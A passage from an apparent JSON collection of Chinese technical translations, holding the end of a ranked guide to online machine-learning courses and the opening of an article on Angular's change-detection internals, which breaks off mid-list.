星的加权平均得分。我们看一下其他可选课程，以分值降序排列。再次提醒：纯粹深度学习的课程不包含在这篇指导里（那些课程可以在[这里](https://medium.freecodecamp.com/dive-into-deep-learning-with-these-23-online-courses-bf247d289cc0)查看）。\n\n[《走近数据分析》](https://www.class-central.com/mooc/1623/edx-the-analytics-edge)（麻省理工学院于 edX）：更关注一般分析，虽然也有一些机器学习主题；使用 R 语言；使用我们熟悉的现实世界的例子进行强悍的表述；有挑战；12 周，每周 10 到 15 学时；可自愿购买经过认证的证书；有 214 条评论，加权平均得分 4.9 星。\n\n* YouTube 视频链接：https://youtu.be/1BMSOBCe07k\n\n这门麻省理工学院梦幻课程的推广视频：[走近数据分析](https://www.class-central.com/mooc/1623/edx-the-analytics-edge)。\n\n[《数据科学和机器学习 Python 训练营》](https://click.linksynergy.com/fs-bin/click?id=SAyYsTvLiGQ&subid=&offerid=323058.1&type=10&u1=medium-career-guide-machine-learning&tmpid=14538&RD_PARM1=https%3A%2F%2Fwww.udemy.com%2Fpython-for-data-science-and-machine-learning-bootcamp%2F)（何塞波蒂利亚大学于 Udemy）：包含了完整数据科学流程的内容，有大块的机器学习内容；更详细的 Python 入门；优秀的课程，不过不在本文的理想课程内容范畴；21.5 小时的按需视频；价格根据 Udemy 账户级别进行折扣，这在 Udemy 很常见；有 3316 条评论，加权平均得分 4.6 星。\n\n[《数据科学和机器学习 R 训练营》](https://click.linksynergy.com/fs-bin/click?id=SAyYsTvLiGQ&subid=&offerid=323058.1&type=10&u1=medium-career-guide-machine-learning&tmpid=14538&RD_PARM1=https%3A%2F%2Fwww.udemy.com%2Fdata-science-and-machine-learning-bootcamp-with-r%2F)（何塞波蒂利亚大学于 Udemy）：上面对波蒂利亚大学课程的评价同样适用于此，只不过语言换成 R；17.5 小时的按需视频；价格根据 Udemy 账户级别进行折扣，这在 Udemy 很常见；有 1317 条评论，加权平均得分 4.6 星。\n\n[《机器学习系列课程》](https://click.linksynergy.com/fs-bin/click?id=SAyYsTvLiGQ&subid=&offerid=323058.1&type=10&u1=medium-career-guide-machine-learning&tmpid=14538&RD_PARM1=https%3A%2F%2Fwww.udemy.com%2Fuser%2Flazy-programmer%2F)（Lazy Programmer 公司于 Udemy）：由具有不凡工作经验的数据科学家、大数据工程师、全栈软件工程师讲授；Lazy Programmer 目前在 Udemy 有 16 门聚焦机器学习的课程；总体上看，课程由 5000+ 评分，基本都在 4.6 星以上；每门课的描述中都有一个有用的课程排序；价格根据 Udemy 账户级别进行折扣，这在 Udemy 很常见。\n\n[《机器学习》](https://www.class-central.com/mooc/1020/udacity-machine-learning)（佐治亚理工学院于 Udacity）：三门独立课程组合而成：监督学习、无监督学习和强化学习；是该网站机器学习工程师 Nanodegree 和该校在线硕士学位（OMS）的一部分；信息量刚好可消化的视频大小正是 Udacity 的风格；友好的教授们；估计 4 个月可毕业；免费；9 条评论，4.56 星。\n\n[《在 Azure HDInsight 中使用 Spark 实现预测分析》](https://www.class-central.com/mooc/4151/edx-implementing-predictive-analytics-with-spark-in-azure-hdinsight)（微软与 edX）：介绍了机器学习的核心概念和一些算法；利用了一些大数据友好的工具，包括 Apache Spark、 Scala 和 Hadoop；Python 和 R 都用到了；预计 6 周，每周 4 课时；可自愿购买经过认证的证书；有 6 条评论，4.5 星。\n\n[《使用 Python 学习数据科学和机器学习：手把手教你！》](https://click.linksynergy.com/fs-bin/click?id=SAyYsTvLiGQ&subid=&offerid=323058.1&type=10&u1=medium-career-guide-machine-learning&tmpid=14538&RD_PARM1=https%3A%2F%2Fwww.udemy.com%2Fdata-science-and-machine-learning-with-python-hands-on%2F)（Frank Kane 于 Udemy）：使用 Python；Kane 在亚马逊公司和 IMDb有 9 年工作经验；价格根据 Udemy 账户级别进行折扣，这在 Udemy 很常见；有 4139 条评论，4.5 星。\n\n[用于大数据和机器学习的 Scala 和 Spark 技术](https://click.linksynergy.com/fs-bin/click?id=SAyYsTvLiGQ&subid=&offerid=323058.1&type=10&u1=medium-career-guide-machine-learning&tmpid=14538&RD_PARM1=https%3A%2F%2Fwww.udemy.com%2Fscala-and-spark-for-big-data-and-machine-learning%2F)（何塞波蒂利亚大学于 Udemy）：关注“大数据”，尤其是使用 Scala 和 Spark 实现；10 小时的按需视频；价格根据 Udemy 账户级别进行折扣，这在 Udemy 很常见；607 条评论，4.5 星。\n\n[机器学习工程师 Nanodegree](https://www.class-central.com/certificate/machine-learning-engineer-nanodegree--nd009)（Udacity）：Udacity 的旗舰机器学习课程，这种课程具有一流的项目评审系统和职业支持；该课程由几个都是免费的独立课程组成；与 Kaggle 联合创建；预计 6 个月学完；目前是每月 199 美元，12 个月之内毕业可享受 50% 的学费退款；2 条评论，4.5 星。\n\n[《从数据中学习（机器学习介绍）》](https://www.class-central.com/mooc/1240/edx-learning-from-data-introductory-machine-learning)（加州理工学院于 edX）：课程报名当前在 edX 上关闭了，不过依然可以通过 CalTech 的独立平台报名（见下面）；42 条评论，4.49 星。\n\n* YouTube 视频链接：https://youtu.be/KlP0DpiM7Lw\n\nCaltech 和 Yaser Abu-Mostafa 的[从数据中学习](https://www.class-central.com/mooc/366/learning-from-data-introductory-machine-learning-course)介绍视频。\n\n[《从数据中学习（机器学习介绍）》](https://www.class-central.com/mooc/366/learning-from-data-introductory-machine-learning-course)（Yaser Abu-Mostafa 于加州理工学院）：“真正的 Caltech 课程，不是阉割版”；评论强调它在理解机器学习理论上很优秀；Yaser Abu-Mostafa 教授在学生中很流行，还写了这门课使用的教科书；上传到油管的视频是上课录音（带有 PPT 的画中画功能），家庭作业是 PDF 文件；学生在线学习的课程体验并不如 TOP 3 推荐那么精彩；7 条评论，4.43 星。\n\n[《海量数据集挖掘》](https://www.class-central.com/mooc/2406/stanford-openedx-mining-massive-datasets)（斯坦福大学）：关注“大数据”的机器学习课程；介绍了现代分布式文件系统和 MapReduce；7 周，每周 10 小时；免费；30 条评论，4.4 星。\n\n[《AWS 机器学习：使用 Python 的完整指导》](https://click.linksynergy.com/fs-bin/click?id=SAyYsTvLiGQ&subid=&offerid=323058.1&type=10&u1=medium-career-guide-machine-learning&tmpid=14538&RD_PARM1=https%3A%2F%2Fwww.udemy.com%2Faws-machine-learning-a-complete-guide-with-python%2F)（Chandra Lingam 于 Udemy）：唯一关注基于云端的机器学习课程，尤其是 Amazon Web Service。使用 Python；9 小时按需视频；价格根据 Udemy 账户级别进行折扣，这在 Udemy 很常见；62 条评论，4.4 星。\n\n[《机器学习介绍和使用 Python 进行面部识别》](https://click.linksynergy.com/fs-bin/click?id=SAyYsTvLiGQ&subid=&offerid=323058.1&type=10&u1=medium-career-guide-machine-learning&tmpid=14538&RD_PARM1=https%3A%2F%2Fwww.udemy.com%2Fintroduction-to-machine-learning-in-python%2F)（Holczer Balazs 于 Udemy）：使用 Python；8 小时按需视频；价格根据 Udemy 账户级别进行折扣，这在 Udemy 很常见；162 条评论，4.4 星。\n\n[《StatLearning：统计学习》](https://www.class-central.com/mooc/1579/stanford-openedx-statlearning-statistical-learning)（斯坦福大学）：基于超优秀的教科书[《统计学习入门，使用 R 程序》](https://www.amazon.com/Introduction-Statistical-Learning-Applications-Statistics-ebook/dp/B01IBM7790)并由编写书的教授上课；评论说 MOOC 引用了书中“薄弱”的练习和平庸的视频，没有书好；9 周，每周 5 课时；免费；84 条评论，4.35 星。\n\n[《机器学习规范》](https://www.class-central.com/certificate/machine-learning-specialization)（华盛顿大学于 Coursera）：超棒的课程，可惜最后两课（包括顶点课程）被删掉了（**译者注**：顶点课程是美国大学开设在实用性很强的专业中让学生整合所学领域的知识并充分利用的课程）；评论说该系列课程比那些顶级机器学习课程 —— 也就是斯坦福和 Caltech 的 —— 更容易消化（对那些没有很强工科背景的学员来说）；记住该课程在推荐系统和深度学习上并不完整，还缺少课程总结；有免费和收费版本；80 条评论，4.31 星。\n\n![](https://cdn-images-1.medium.com/max/1000/1*fgFqV9nyUKHi7txzgKcW4w.png)\n\nCoursera 上华盛顿大学正在上这门[《机器学习规范》](https://www.class-central.com/certificate/machine-learning-specialization)。\n\n[《从 0 到 1：机器学习和NLP，使用 Python 切入正题》](https://click.linksynergy.com/fs-bin/click?id=SAyYsTvLiGQ&subid=&offerid=323058.1&type=10&u1=medium-career-guide-machine-learning&tmpid=14538&RD_PARM1=https%3A%2F%2Fwww.udemy.com%2Ffrom-0-1-machine-learning%2F)（Loony Corn 于 Udemy）：“一种脚踏实地，害羞但自信的机器学习技巧”；由具有数十年工业经验的四人小组授课；使用 Python；价格根据 Udemy 账户级别进行折扣，这在 Udemy 很常见；494 条评论，4.2 星。\n\n[《机器学习的原则》](https://www.class-central.com/mooc/6511/edx-principles-of-machine-learning)（微软于 edX）：使用 R、Python 和 微软 Azure 机器学习工具；是微软数据科学专业课程认证的一部分；6 周，每周 3-4 小时；可自愿购买经过认证的证书；11 条评论，4.09 星。\n\n[《大数据：统计推断与机器学习》](https://www.class-central.com/mooc/5421/futurelearn-big-data-statistical-inference-and-machine-learning)（昆士兰科技大学于 FutureLearn）：一门聚焦于大数据、漂亮而又简洁的机器学习探索课程；覆盖了诸如 R、H20 流和 WEKA 等工具；推荐三周就学完，每周 2 课时；有免费和收费版本；4 条评论，4 星。\n\n[《基因组数据科学与聚类》](https://www.class-central.com/mooc/3556/coursera-genomic-data-science-and-clustering-bioinformatics-v)（生物信息学第五部）（加利福尼亚大学和 San Diego 于 Coursera）：面向对计算机科学和生物学的交叉学科感兴趣的人，并展示这门交叉学科如何代表现代科学的重要前沿；关注聚类和数据降维；加州大学圣地亚哥分校（UCSD）生物信息学专业的一部分；有免费和收费版本；3 条评论，4 星。\n\n[《机器学习简介》](https://www.class-central.com/mooc/2996/udacity-intro-to-machine-learning)（Udacity）：在深度和理论上优先考虑学习宽度和实用工具主题（使用 Python）；两位老师 —— Sebastian Thrun 和 Katie Malone —— 让课程充满趣味；课程视频是刚好能够消化的大小；每节课的小项目后面都有测验；目前是 Udacity 数据分析师纳学位的一部分（**译者注**：纳学位，或者说 Nanodegree，是优达学院和企业推出的系列联合认证课程,一般可在 12 个月内结业。“纳”模仿自“微学院”中的“微”，都表示模仿自高校。“纳”和“微”都是度量单位，“纳”比“微”更小）；估计 10 周；免费；19 条评论，3.95 星。\n\n* YouTube 视频链接：https://youtu.be/lL16AQItG1g\n\nSebastian Thrun 和 Katie Malone 讲授的 Udacity [《机器学习简介》](https://www.class-central.com/mooc/2996/udacity-intro-to-machine-learning)介绍视频。\n\n[《用于数据分析的机器学习》](https://www.class-central.com/mooc/4354/coursera-machine-learning-for-data-analysis)（卫斯理大学于 Coursera）：对机器学习及几个选择算法的简单介绍；覆盖决策树、随机森林、LASSO 回归和 K 均值聚类；是卫斯理大学数据分析和解释专业的一部分；估计 4 周；有免费和付费版本；5 条评论，3.6 星。\n\n[《数据科学：使用 Python 编程》](https://www.class-central.com/mooc/6471/edx-programming-with-python-for-data-science)（微软于 edX）：微软和 Coding Pojo 联合出品；使用 Python；6 周，每周 8 小时；有免费和付费版本；37 条评论，3.46 星。\n\n[《用于交易的机器学习》](https://www.class-central.com/mooc/1026/udacity-machine-learning-for-trading)（佐治亚科技大学于 Udacity）：专注于将概率机器学习方法应用于交易决策；使用 Python；是 Udacity 机器学习工程师纳学位和佐治亚科大在线硕士学位（OMS）的一部分；估计 4 个月；免费；14 条评论，3.29 星。\n\n[《实用机器学习》](https://www.class-central.com/mooc/1719/coursera-practical-machine-learning)（约翰霍普金斯大学于 Coursera）：简洁、实用的介绍了一些机器学习算法；一些一星二星的评论表达了对课程的各种担忧；是该校数据科学专业的一部分；4 周，每周 4-9 小时；有免费和收费版本；37 条评论，3.11 星。\n\n[《用于数据科学和数据分析的机器学习》](https://www.class-central.com/mooc/4912/edx-machine-learning-for-data-science-and-analytics)（哥伦比亚大学于 edX）：介绍了机器学习的广泛主题；一些负面评论对课程内容的选择、缺少编程作业和缺乏有灵感的展示提出了担忧；超过 5 周，每周 7-10 小时；36 条评论，2.74 星。\n\n[《推荐系统规范》](https://www.coursera.org/specializations/recommender-systems)（明尼苏达大学于 Cou）：重点关注了一种特定的机器学习类型 —— 推荐系统；4 节专业课加一节顶点课程，这是一个案例研究；使用 LensKit（推荐系统的一个开源工具集） 上课；有免费和收费版本；2 条评论，2 星。\n\n[《使用大数据进行机器学习》](https://www.class-central.com/mooc/4238/coursera-machine-learning-with-big-data)（加利福尼亚大学和 San Diego 于 Coursera）：严重负面的评论突出了课程糟糕的教学和评估；一些评论说完成整个课程只需要几小时；是该校大数据专业的一部分；有免费和收费版本；14 条评论，1.86 星。\n\n[《实用预测分析：模型和方法》](https://www.class-central.com/mooc/4341/coursera-practical-predictive-analytics-models-and-methods)（华盛顿大学于 Coursera）：对机器学习的核心概念进行了简单介绍；有条评论说课程没有测验，作业也没有挑战；是该校数据科学扩展专业的一部分；超过 4 周，每周 6 - 8 小时；有免费和收费版本；4 条评论，1.75 星。\n\n下面是截止到 2017 年 5 月不超过一条评论的课程。\n\n[《给音乐家和艺术家的机器学习》](https://www.class-central.com/mooc/3768/kadenze-machine-learning-for-musicians-and-artists)（Goldsmiths 和 伦敦大学于 Kadenze）：独一无二的课程；学员学习算法、软件工具和机器学习最佳实践来让机器识别人类手势、音频和其他实时数据；一共 7 课；有旁听（免费）和收费（每月 10 美元）版本；有一条 5 星评论。\n\n* YouTube 视频链接：https://youtu.be/pSnRmBt0pXI\n\nKadenze 上 Goldsmiths 和伦敦大学[《给音乐家和艺术家的机器学习》](https://www.class-central.com/mooc/3768/kadenze-machine-learning-for-musicians-and-artists)的宣传视频。\n\n[《应用机器学习（使用 Python）》](https://www.class-central.com/mooc/6673/coursera-applied-machine-learning-in-python)（密歇根大学于 Coursera）：使用 Python 和 scikit 学习工具集上课；是应用机器学习（使用 Python）专业的一部分；计划 5 月 29 号开课；有免费和收费版本。\n\n[《应用机器学习》](https://www.class-central.com/mooc/6406/edx-applied-machine-learning)（微软于 edX）：使用了包括 Python、R 和微软 Azure 机器学习工具上课（注意：这是微软出品的课程）。包括动手实验室来强化课程内容；超过 6 周，每周 3-4 小时；可自愿购买经过认证的证书。\n\n[《使用 Python 进行机器学习》](https://bigdatauniversity.com/courses/machine-learning-with-python/)（大数据大学）：使用 Python 上课；目标受众是入门者；预估 4 小时完成；大数据大学隶属于 IBM；免费。\n\n[《使用 Apache SystemML 进行机器学习》](https://bigdatauniversity.com/courses/machine-learning-apache-systemml/)（大数据大学）：使用 Apache SystemML 上课，这是一种为大规模机器学习而设计的声明式语言；预估 8 小时完成；大数据大学隶属于 IBM；免费。\n\n[《给数据科学的机器学习》](https://www.class-central.com/mooc/8216/edx-machine-learning-for-data-science)（加利福尼亚大学和 San Diego 于 edX）：要到 2018 年一月才开课；程序例子和作业都是 Python的，用的 Jupyter 教材（**译者注**：Jupyter 教材是一个开源的在线应用，用户可以自己制作教材并共享给别人）；10 周，每周 8 小时；可自愿购买经过认证的证书。\n\n[《分析模型入门》](https://www.class-central.com/mooc/8217/edx-introduction-to-analytics-modeling)（佐治亚科技大学于 edX）：课程通告说使用 R 做为其首选语言；10 周，每周 5-10 小时；可自愿购买经过认证的证书。\n\n[《预测分析：洞察大数据》](https://www.class-central.com/mooc/7645/futurelearn-predictive-analytics-gaining-insights-from-big-data)（昆士兰科技大学于 FutureLearn）：简述了一些算法；使用 Hewlett Packard Enterprise 的 Vertica Analytics 平台做为应用工具；开课时间还未公布；4 周，每周 2 小时；可自愿购买成就证书。\n\n[《机器学习简介》](https://miriadax.net/web/introduccion-al-machine-learning)（西班牙电信大学于 Miríada X）：西语授课；覆盖了监督和无监督学习的机器学习简介；预估 4 周共 20 小时。\n\n[《机器学习登堂入室》](https://www.dataquest.io/path-step/machine-learning)（Dataquest）：使用 Dataquest 的浏览器内置交互式平台通过 Python 上课；多个导引项目和一个你使用你自己数据构建的 “+” 项目；需要订阅。\n\n* * *\n\n下面的 6 门课程由 [DataCamp](https://www.datacamp.com/courses/topic:machine_learning?tap_a=5644-dce66f&tap_s=93618-a68c98) 提供。DataCamp 的混合授课风格使用了基于视频和文本并通过一个浏览器内置的代码编辑器穿插大量的例子；每门课都需要完整订阅。\n\n![](https://cdn-images-1.medium.com/max/1000/1*eRUPgszpDHzEUpvXhFMeUg.png)\n\n[DataCamp](https://www.datacamp.com/courses/topic:machine_learning?tap_a=5644-dce66f&tap_s=93618-a68c98) 提供了几门机器学习的课程。\n\n[《机器学习简介》](https://www.datacamp.com/courses/introduction-to-machine-learning-with-r?tap_a=5644-dce66f&tap_s=93618-a68c98)（DataCamp）: 覆盖了分类算法、回归算法和聚类算法；使用 R；15 段视频，81 次练习，预估 6 小时。\n\n[《使用 scikit-learn 进行监督学习》](https://www.datacamp.com/courses/supervised-learning-with-scikit-learn?tap_a=5644-dce66f&tap_s=93618-a68c98)（DataCamp）：使用 Python 和 scikit-learn；覆盖了分类算法和回归算法；17 段视频，54 次练习，预估 4 小时。\n\n[《使用 R 进行非监督学习》](https://www.datacamp.com/courses/unsupervised-learning-in-r?tap_a=5644-dce66f&tap_s=93618-a68c98)（DataCamp）：简单介绍了通过 R 进行聚类和降维；16 段视频，49 次练习，预估 4 小时。\n\n[《机器学习工具箱》](https://www.datacamp.com/courses/machine-learning-toolbox?tap_a=5644-dce66f&tap_s=93618-a68c98)（DataCamp）：讲授机器学习中的“大主意”；使用 R；24 段视频，88 次练习，预估 4 小时。\n\n[《和专家一起机器学习：学校预算案例》](https://www.datacamp.com/courses/machine-learning-with-the-experts-school-budgets?tap_a=5644-dce66f&tap_s=93618-a68c98)（DataCamp）：是 DrivenData 上面的一个机器学习案例研究；涉及建造机器学习模型对学校的预算项自动分类；先修课程是 DataCamp 的课程《使用 scikit-learn 进行监督学习》；15 段视频，51 次练习，预估 4 小时。\n\n[《使用 Python 进行非监督学习》](https://www.datacamp.com/courses/unsupervised-learning-in-python?tap_a=5644-dce66f&tap_s=93618-a68c98)（DataCamp）：使用 Python、scikit-learn 和 scipy 讲解了一些非监督学习的算法；课程最后是学员构造一个推荐系统来推荐流行音乐歌手；13 段视频，52 次练习，预估 4 小时。\n\n* * *\n\n[《机器学习》](http://www.cs.cmu.edu/~ninamf/courses/601sp15/index.html)（Tom Mitchell 和卡耐基梅隆大学）： 该校的研究生机器学习入门课程；它们的第二个研究生课程要求具备“统计机器学习”知识背景；在线发布带有练习题、家庭作业和期中考试（都有答案）的大学课程；还有一个 [2011 版](http://www.cs.cmu.edu/~tom/10701_sp11/)；卡耐基梅隆大学是学习机器学习最好的研究生学校，它有一个系专门研究 ML；免费。\n\n[《统计机器学习》](https://www.class-central.com/mooc/8509/statistical-machine-learning)（Larry Wasserman 和卡耐基梅隆大学）：和本文其他高级课程一样；是卡耐基梅隆大学机器学习课程的后续课程；在线发布带有练习题、家庭作业和期中考试（都有答案）的大学课程；免费。\n\n![](https://cdn-images-1.medium.com/max/1000/1*umqMeqC5Ch-kR1i4hPBTrw.png)\n\n卡耐基梅隆大学是学习机器学习最好的研究生学校。[《机器学习》](http://www.cs.cmu.edu/~ninamf/courses/601sp15/index.html)和[《统计机器学习》](https://www.class-central.com/mooc/8509/statistical-machine-learning)都在线上可免费学习。\n\n[《本科生机器学习》](http://www.cs.ubc.ca/~nando/340-2012/index.php)（Nando de Freitas 和不列颠哥伦比亚大学）：本科生的机器学习课程；上课被录像并和发布在课程网站的 PPT 一起放在了油管上；课程作业也一起上传了（不过没答案）；de Freitas 现在是牛津大学的全职教授，各个论坛都对他的教学能力表达了赞美；研究生版本也要（见下面）。\n\n[Machine Learning](http://www.cs.ubc.ca/~nando/540-2013/lectures.html) (Nando de Freitas/University of British Columbia): A graduate machine learning course. The comments in de Freitas’ undergraduate course (above) apply here as well.\n\n### 要结束了\n\n本文是我们推荐最好在线课程来让你步入数据科学领域的六部分中的第五部分。我们的[第一部分](https://medium.freecodecamp.com/if-you-want-to-learn-data-science-start-with-one-of-these-programming-classes-fb694ffe780c#.fhrn45v3c)涵盖了编程课程，[第二部分](https://medium.freecodecamp.com/if-you-want-to-learn-data-science-take-a-few-of-these-statistics-classes-9bbabab098b9#.p7pac546r)是概率统计，[第三部分](https://medium.freecodecamp.com/i-ranked-all-the-best-data-science-intro-courses-based-on-thousands-of-data-points-db5dc7e3eb8e)是数据科学入门，[第四部分](https://medium.freecodecamp.com/an-overview-of-every-data-visualization-course-on-the-internet-9ccf24ea9c9b)是数据可视化。\n\n* [**我基于数千个数据点对网络上的所有数据科学入门课程进行了排名**：一年以前，我退出了加拿大最好的计算机科学课程之一。](https://medium.freecodecamp.com/i-ranked-all-the-best-data-science-intro-courses-based-on-thousands-of-data-points-db5dc7e3eb8e \"https://medium.freecodecamp.com/i-ranked-all-the-best-data-science-intro-courses-based-on-thousands-of-data-points-db5dc7e3eb8e\")\n\n最后一部分将会是前面部分的总结，加上其他主题的最好课程，如数据整理、数据库，甚至还有软件工程。\n\n如果你在寻找数据科学在线课程的完整列表，可以来 Class Central 的[数据科学和大数据](https://www.class-central.com/subject/data-science)主题页面。\n\n如果你读完了还欲罢不能，可以看一下 [Class Central](https://www.class-central.com/) 的其他主题：\n\n* [**这里有 250 所常春藤联盟高校的在线课程现在**：250 门 MOOC 课程包括布朗大学、哥伦比亚大学、康内尔大学、达特茅斯大学、哈佛大学、宾夕法尼亚大学、普林斯顿大学和耶鲁大学。](https://medium.freecodecamp.com/ivy-league-free-online-courses-a0d7ae675869 \"https://medium.freecodecamp.com/ivy-league-free-online-courses-a0d7ae675869\")\n\n* [**根据数据统计的 50 门最好的免费在线大学课程**：当我 2011 年十一月初创 Class Central 的时候只有大约 18 门免费在线课程，几乎都来自斯坦福大学。](https://medium.freecodecamp.com/the-data-dont-lie-here-are-the-50-best-free-online-university-courses-of-all-time-b2d9a64edfac \"https://medium.freecodecamp.com/the-data-dont-lie-here-are-the-50-best-free-online-university-courses-of-all-time-b2d9a64edfac\")\n\n如果你对我遗漏的课程有建议，请回复我让我知道！\n\n如果你觉得有帮助，点击 💚 会让更多 Medium 板块的用户看到本文。\n\n**本文是我发布在 Class Central 的[原始文章](https://www.class-central.com/report/best-machine-learning-courses/)的缩减版，原文包含了详细的课程介绍。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/everything-you-need-to-know-about-change-detection-in-angular.md",
    "content": "> * 原文地址：[Everything you need to know about change detection in Angular](https://blog.angularindepth.com/everything-you-need-to-know-about-change-detection-in-angular-8006c51d206f)\n> * 原文作者：[Max, Wizard of the Web](https://blog.angularindepth.com/@maxim.koretskyi?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/everything-you-need-to-know-about-change-detection-in-angular.md](https://github.com/xitu/gold-miner/blob/master/TODO1/everything-you-need-to-know-about-change-detection-in-angular.md)\n> * 译者：[tian-li](https://github.com/tian-li)\n> * 校对者：[nanjingboy](https://github.com/nanjingboy), [Mcskiller](https://github.com/Mcskiller)\n\n# 关于 Angular 的变化检测，你需要知道的一切\n\n## 探究内部实现和具体用例\n\n![](https://cdn-images-1.medium.com/max/800/1*bB59KfaXSpZKoy234UJnTQ.jpeg)\n\n* * *\n\n如果你想跟我一样对 Angular 的变化检测机制有全面的了解，你就不得不去查看源码，因为网上几乎没有这方面的文章。大部分文章只提到每个组件都有自己的变化检测器，且重点在使用不可变变量（immutable）和变化检测策略（change detection strategy）上，却没有进行更深入的探讨。这篇文章会带你一起了解**为什么**不可变变量可以触发变化检测及变化监测策略**如何** 影响检测。另外，你可以将本文中学到的知识运用到各种需要提升性能的场景中。\n\n本文包括两部分。第一部分比较偏技术，会有很多源码的链接。主要讲解变化检测机制是如何运作的。本文的内容是基于（当时的）最新版本 —— Angular 4.0.1。该版本中的变化检测机制和 2.4.1 的有一点不同。如果你有兴趣，可以参考 [Stack Overflow 上的这个回答](http://stackoverflow.com/a/42807309/2545680)。\n\n第二部分展示了如何应用变化检测。由于 2.4.1 和 4.0.1 的 API 没有发生变化，所以这一部分对于两个版本都适用。\n\n* * *\n\n### 核心概念：视图（view）\n\nAngular 的教程上一直在说，一个 Angular 应用是一颗组件树。然而，在 Angular 内部使用的是一种叫做[视图（view）](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/types.ts#L301)的低阶抽象。视图和组件之间是有直接联系的 —— 每个视图都有与之关联的组件，反之亦然。视图通过 `component` 属性将其与对应的组件类[关联](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/types.ts#L309)起来。所有的操作都在视图中执行，比如属性检查和更新 DOM。所以，从技术上来说，更正确的说法是：一个 Angular 应用是一颗视图树。组件可以描述为视图的更高阶的概念。关于视图，[源码](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/linker/view_ref.ts#L31)中有这样一段描述：\n\n> 视图是构成应用 UI 的基本元素。它是一组一起被创造和销毁的最小合集。\n\n> 视图的属性可以更改，而视图中元素的结构（数量和顺序）不能更改。想要改变元素的结构，只能通过用 `ViewContainerRef` 来插入、移动或者移除嵌入的视图。每个视图可以包含多个视图容器（View Container）。\n\n在这篇文章中，我会交替使用组件视图和组件的概念。\n\n> 值得一提的是，网上有关变化检测文章和 StackOverflow 中的回答中，都把本文中的视图称为变化检测器对象（Change Detector Object）或者 ChangeDetectorRef。实际上，变化检测并没有单独的对象，它其实是在视图上运行的。\n\n每个视图都通过 [`nodes` 属性](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/types.ts#L316)将其与子视图相关联，这样就能对子视图进行操作。\n\n### 视图的状态\n\n每个视图都有一个 [`state` 属性](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/types.ts#L317)。这是一个非常重要的属性，因为 Angular 会根绝这个属性的值来确定是否要对此视图和所有的子视图执行变化检测。`state` 属性有很多[可能的值](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/types.ts#L325)，与本文相关的有以下几种：\n\n1.  FirstCheck\n2.  ChecksEnabled\n3.  Errored\n4.  Destroyed\n\n如果 `CheckesEnabled` 是 `false` 或者视图的状态是 `Errored` 或者 `Destroyed`，变化检测就会跳过此视图和其所有子视图。默认情况下，所有的视图都以 `ChecksEnabled` 作为初始值，除非使用了 `ChangeDetectionStrategy.OnPush`。后面会对此进行更多的解释。视图的可以同时有多个状态，比如，可以同时是 `FirstCheck` 和 `ChecksEnabled`。\n\nAngular 中有很多高阶概念来操作视图。我在[这篇文章](https://hackernoon.com/exploring-angular-dom-abstractions-80b3ebcfc02)中讲过其中一些。其中一个概念是 [ViewRef](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/refs.ts#L219)。它封装了[底层组件视图](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/refs.ts#L221)，里面还有一个命名很恰当的方法，叫做 [`detectChanges`](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/refs.ts#L239)。当异步事件发生时，Angular 会在最顶层的 ViewRef 上[触发变化检测](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/application_ref.ts#L552.)。最顶层的 ViewRef 自己执行了变化检测后，就会**对其子视图进行变化检测**。\n\n你可以使用 `ChangeDetectorRef` 令牌来将 `viewRef` 注入到组件的构造函数中：\n\n```ts\nexport class AppComponent {\n    constructor(cd: ChangeDetectorRef) { ... }\n```\n\n从其定义可以看出这点：\n\n```ts\nexport declare abstract class ChangeDetectorRef {\n    abstract checkNoChanges(): void;\n    abstract detach(): void;\n    abstract detectChanges(): void;\n    abstract markForCheck(): void;\n    abstract reattach(): void;\n}\nexport abstract class ViewRef extends ChangeDetectorRef {\n   ...\n}\n```\n\n* * *\n\n### 变化检测操作\n\n执行变化检测的主要逻辑在 [`checkAndUpdateView`](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/view.ts#L325) 方法中。此方法主要是对**子**组件视图执行操作。而且会对从宿主组件开始的所有组件**递归地调用**此方法。也就是说，在下次递归中，子组件就变成了父组件。\n\n当为某个视图触发这个方法时，会按照以下顺序执行操作：\n\n1.  如果视图是第一次被检测，将 `ViewState.firstCheck` 设置为 `true`，如果之前已经检测过了，设置为 `false`\n2.  